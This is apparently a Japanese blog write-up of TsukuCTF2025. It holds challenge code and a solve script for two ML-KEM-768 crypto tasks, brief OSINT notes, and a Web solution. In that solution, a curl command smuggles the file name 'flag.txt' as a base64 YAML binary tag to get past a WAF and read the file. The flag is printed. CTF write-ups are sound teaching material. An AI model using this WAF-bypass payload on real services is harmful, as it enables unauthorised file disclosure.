🐕

TsukuCTF2025 writeup

に公開

久々にCTFに参加しました。結果から言えば、チームメンバーのおかげで日本学生/Generalともに1位を取ることができました。他の問題については、他にいいwriteupがあるのでそっちを見てね

https://x.com/Curiosi46542428/status/1918865990437285974

Crypto

取り組んだ順に書いてます

PQC1

# REQUIRED: OpenSSL 3.5.0

import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from flag import flag

# generate private key
os.system("openssl genpkey -algorithm ML-KEM-768 -out priv-ml-kem-768.pem")
# generate public key
os.system("openssl pkey -in priv-ml-kem-768.pem -pubout -out pub-ml-kem-768.pem")
# generate shared secret
os.system("openssl pkeyutl -encap -inkey pub-ml-kem-768.pem -secret shared.dat -out ciphertext.dat")

with open("priv-ml-kem-768.pem", "rb") as f:
    private_key = f.read()

print("==== private_key[:128] ====")
print(private_key[:128].decode())

with open("ciphertext.dat", "rb") as f:
    ciphertext = f.read()

print("==== ciphertext(hex) ====")
print(ciphertext.hex())

with open("shared.dat", "rb") as f:
    shared_secret = f.read()

encrypted_flag = AES.new(shared_secret, AES.MODE_ECB).encrypt(pad(flag, 16))

print("==== encrypted_flag(hex) ====")
print(encrypted_flag.hex())
==== private_key[:128] ====
-----BEGIN PRIVATE KEY-----
MIIJvgIBADALBglghkgBZQMEBAIEggmqMIIJpgRAaa2HTyQm2vmmDmw5eheMJp6g
Jm3scrIloNZZF2eKncQZfPyppNNNOwAV3WY
==== ciphertext(hex) ====
73e322ebc019d4c299e4e270b66d27c96e3cef69834d7fde38c6d7d2f3c3cedeb94f3414b4023e65924b498dc5a314c46390270387001282774702af9482220b92560caa7e304fc499257acefafa860bdd0522239ce7df3b0ecf04fa4dca2697788e2f733576fa1015c7927d6f7a765970e97203fd48a17bf56ba86d23e234100f74092b3a2c8c1a88444a5454174b526121bc1dceeea1d8a1fb2e2b5f88ead8ea03af10d95fe34e6277678b6b907007f256bb12614699109139be3d72ce94b143a3f61cc35fee36b70893153e28b21002df4835af9aff43c36b873a430b049db97b75cea1628984e8dc912e511d9a358621e6d0f9762df7301b6e22d9237deedc1a72a0068ae84d9446827daf59e8e8728e0c46d149a2d4c4fdb67bfe8e39d7acbdc384f560f7f2ea253b350e80124098fc923e5bf9fc5d385858f4ecbb46130e55a2ff704b2d7b69e5d9b3f9fd3c0ef5bf9a7e17e095206de6d8254fae8f5cb5ac1f8fef51a23a65a33ca91d027e2977931f6716320a0f6ad6962a162c456ef9482ea6f59bff0ea264efc1072d9edfb6536b2a7aa67cb618512048fff844e6c82d02fc3e3bcd6896e1e35ab8e47e9abf4de6900850fad7732c4f56553698ce7cfdaa01aa1cae2fc88ca0043c94d22a5c42f1893816571e82d6a3b66b8f835f811a085381388cfe5c36428eaae7a4e664bb0c4c00e0387d9e74f5041c37b349c976e169c9703d4d3c6eea3d26cd43eb38e0661cbd8687056820cb320df5421d5268c2e9645f0492033c713256bdd5e79cebd3efab8c859426bb6989c70aa0639d583c370446a1271c32abd9079e0aa88ede2b158261db39ae5d2d189fced9406a9dc5329a8b959bdd4e245ea1f8be2d5516cbd5777b64e09bd69ba07997e1a72fdb03ba2620a1c90d7a654eff545c49a8196e0ab93218d6cfb36b1cd0125900e26dd6688aa400d3d7684182a6011217469795a381b5bb7fbc805b28acd097a149649cb601ed571d529a9a8d45d3ab4d41e3e3d8e136d3b7fb1d571c44b4848e5b56dee14b0f431a5c4f417af6790f3b6df281974c4f9340b90e3f1880ee9c719ea1b7bd12356045f9ce25cbd24769aa1acabfee8d7c8e57f0d876f45ebefa5871bc0c10e0e706a7703ed856f3da904edf3a6d472321844b681d5f0c98a4b0e178eb6096d36ce90334d6df6f4ed877852a6f45ade4eeadf72cccdcf342eccd8d1b2322b83047fd256e7a7152802efc4577e3a90c714a7b2af352efe9111c149c8fbaa71bca6d515ec4e9529b5a55d9309378e0698c7c33e85e3425bfda177ec1aa1d81e402ce54405700dc7df9d4688cfa98e53657f7e4c8db52bec306a7e07b73fc26ce4a48888e65c80a4af8ec8251abbbd5521f0b098e5a8f43112fe9d96feeb51bcbedc19dd38d0f4def5be292411a5668d329bb0b74cc6a8526291421b9490bf29dcdc8f0072c7391434cf30f29c007c38f3ef31ffe774f4d9460bd743e4ce65b0617aa52a30914e733257f4b6a80e1f6aff06c342f8dd30532621db7df
==== encrypted_flag(hex) ====
fd302c76946654e6e469a4656b90a8d60fb3492ed8c2238350e8e833a35b3587
import re, base64, textwrap, subprocess, sys
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

SRC = "pqc1.txt"
PEM = "recovered.pem"
CT  = "ciphertext.dat"
SK  = "shared.dat"

txt   = Path(SRC).read_text()

m = re.search(r"-----BEGIN PRIVATE KEY-----(.*?)====", txt, re.S)
if not m:
    sys.exit("128‑byte snippet が見つかりません")
b64 = "".join(m.group(1).strip().splitlines())
der = base64.b64decode(b64 + "==")

i = der.find(b"\x04\x40")
seed = der[i+2 : i+66]
d    = seed[:32]
seed = d + b"\x00"*32

oid = bytes.fromhex("608648016503040402")
alg = b"\x30\x0b\x06\x09" + oid
pkinfo = b"\x02\x01\x00" + alg + b"\x04\x40" + seed
der2 = b"\x30" + bytes([len(pkinfo)]) + pkinfo
pem = "-----BEGIN PRIVATE KEY-----\n" + \
      "\n".join(textwrap.wrap(base64.b64encode(der2).decode(),64)) + \
      "\n-----END PRIVATE KEY-----\n"
Path(PEM).write_text(pem)

ct_hex  = re.search(r"==== ciphertext\(hex\) ====\n([0-9a-f]+)", txt).group(1)
flaghex = re.search(r"==== encrypted_flag\(hex\) ====\n([0-9a-f]+)", txt).group(1)
Path(CT).write_bytes(bytes.fromhex(ct_hex))

subprocess.run(["openssl","pkeyutl","-decap",
                "-inkey",PEM,"-in",CT,"-out",SK], check=True)
key = Path(SK).read_bytes()
print("shared key:", key.hex())

cipher = AES.new(key, AES.MODE_ECB)
flag   = unpad(cipher.decrypt(bytes.fromhex(flaghex)), AES.block_size)
print("FLAG =", flag.decode())

xortsukushift

PQC2

# REQUIRED: OpenSSL 3.5.0

import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from flag import flag

# generate private key
os.system("openssl genpkey -algorithm ML-KEM-768 -out priv-ml-kem-768.pem")
# generate public key
os.system("openssl pkey -in priv-ml-kem-768.pem -pubout -out pub-ml-kem-768.pem")
# generate shared secret
os.system("openssl pkeyutl -encap -inkey pub-ml-kem-768.pem -secret shared.dat -out ciphertext.dat")

with open("priv-ml-kem-768.pem", "rb") as f:
    private_key = f.read()

print("==== private_key[294:] ====")
print(private_key[294:].decode())

with open("ciphertext.dat", "rb") as f:
    ciphertext = f.read()

print("==== ciphertext(hex) ====")
print(ciphertext.hex())

with open("shared.dat", "rb") as f:
    shared_secret = f.read()

encrypted_flag = AES.new(shared_secret, AES.MODE_ECB).encrypt(pad(flag, 16))

print("==== encrypted_flag(hex) ====")
print(encrypted_flag.hex())
==== private_key[294:] ====
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
xUg=
-----END PRIVATE KEY-----

==== ciphertext(hex) ====
9956e487373793da71f9e70ea79a13a471bf7d512cb8b438c61532984a5309ed6ab6e663b615ff05b0ce792584db86dd82ca63092db11bd86b231daeb6fe5bd9e81c9dc27fcf84e71b843c2f7ed9048c9f2abd44e1244b8f9abf52b04651d4e4bbb40cd075b66b7ecf5bbd67082d9451c66cc5ffb9416b79db1eeece91173d0d11232d3e2ae3d59a50018b29553d6d2393ac4224a1fd94fa2a5e3d7d03b426ab7280385532724e19be44fc8bcdd4ea75853fd738163826e9a5359c6d5760c0e5de5907fa2b32256363114b3b4a785ea13e7273fbd8ffec00633523983e1bf9e3eab1b4cc86e9c22d104e3bc747a8179e70161ed21bdff6372324d0f726cea443b0f268e0df7f233efb2f51969115f00ba4af5ca69f0c1c65ca85cbad582d3ceb3c829615c1396808eb0da192560343f7c8bb5b71fca15b6c3bdcc5ea416148f569bb4d46f170f267356a91d4b6c1aa53fab54a788a549eedb7e349b332c417ea0000766bcb00150e02a0eb18b0f997be1badbbb62980ba4ae434c44560e01c75459e99799afaa07fcb880d619ccd19b98b1d1ac1b748ca89db0b019ddaccd21007ffc6965fe33434c91d91d64df237affd68133de514870159a8ef2a044d97ee1bc3b124bd3533aee83fc335b926b290e4d34c834a19ef80732f920783342e4f81721bde62e92334aaa67300ca301e1ccda61177e984d29629d2abc110bb90129697cceaedd268d121e34122952db4fce7af54dd0cffbcdd8ba63f4fe7c9d6d2244fcdbebe29a8b4e55384cd9b561a563a5f45a4f71cbbee5ec25b9fbcb47b112da7571cc3d021af31049b69f182b4ba7f230259a045c2b08bad89419ae37b1590ff405194f4b987d33e61435a40ffc1a9f9d9f0f5e9915ddbc5b7f0e4cc72d188c6c12593b38d96f98e7d4dfbcada0202a2b32226f9e111cc22c73a7d55e154d05115beab3b700fe62dbda9f86b5d8a4f5a758e4b913c3f96f11bc8768df25a851b0c817140d76cf75e5b045677b74208202c1827e66f4b81d5cd3fb93cc71dc7704f744dd278fd765959206fa0bb0b844db07ee040bc8d5563b797c8ecffb545e8c22dec89973f482ac6a29757cf5d51d2abe8f5abf074df8dac19a8d3b5804fe82a90694ba44a730ae12be00ff3dbfb1a55c3bda2bd93421dfd9f72025cf79bd8d6c5f8ff6d93895fd9743621eb141c00550a63b48f483ba5a67dd2b2ceeb4c126979a73433812a328405ee8402cc40b0b57cb8fd2c01496be77206a460cec5bca75a4d447665e0f150776b6966c3965bab258df823dba65fd9def5501623e88bc2e7cf4036792b4904a4932595a813f7c8e2b6e108d64e49d7ba5ea2949a40b2373596aec716375c2b5387e670cfe944db49b8e2eea00237216634c57a17fc1eb968158ebc502a599399a59a8eed3e11b9e02a12c3616b818d6c3d9d081d730d2ef62ee9b7337b995308c8b58baac95b38db76b9ea653f624b4d3e9ee1db51bc0204cc553763589d5a861510489141c71424c538592e8f7c75a55103a353
==== encrypted_flag(hex) ====
bed3b7d98a1058fe7059c15bffac13205a39bc22263ef9110b5bde66f10c847fbe2eae728a1a427d99bbee0b48c9fd76

Osint

buildings

初手google Lens にかけると以下のブログがヒットする
https://www.sumu-log.com/archives/68744/
後ろに見える赤白のクレーンに周辺をちょろちょろ歩いてたら見るかるのでそこの緯度経度を答えるだけ

Web

YAMLwaf

curl -X POST 'http://challs.tsukuctf.org:50001' \
    -H 'Content-Type: text/plain' \ 
    -- data-binary $'%TAG !b! tag:yaml.org,2002:binary\n---\nfile: !b! |\n  ZmxhZy50eHQ='
TsukuCTF25{YAML_1s_d33p!}

Discussion